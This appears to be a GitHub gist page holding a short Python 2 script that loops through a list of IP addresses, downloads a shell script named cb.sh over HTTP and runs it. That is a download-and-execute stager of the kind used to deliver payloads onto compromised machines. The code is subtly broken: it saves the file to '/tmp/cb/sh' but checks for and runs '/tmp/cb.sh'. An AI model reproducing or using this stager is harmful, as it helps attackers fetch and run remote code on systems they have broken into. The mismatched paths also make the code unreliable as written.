Created
December 31, 2017 13:14
-
-
Save samduy/7ffa31c527135b43de9ffd2794a00ff2 to your computer and use it in GitHub Desktop.
Loop through IP list, Download file over HTTP and Execute
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import urllib2, os | |
urls = ["1.1.1.1","2.2.2.2"] | |
port = "80" | |
payload = "cb.sh" | |
for url in urls: | |
u = "http://%s:%s/%s" % (url, port, payload) | |
try: | |
r = urllib2.urlopen(u) | |
wfile = open("/tmp/cb/sh","wb") | |
wfile.write(r.read()) | |
wfile.close() | |
break | |
except: continue | |
if os.path.exists("/tmp/cb.sh"): | |
os.system("chmod 700 /tmp/cb.sh") | |
os.system("/tmp/cb.sh") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment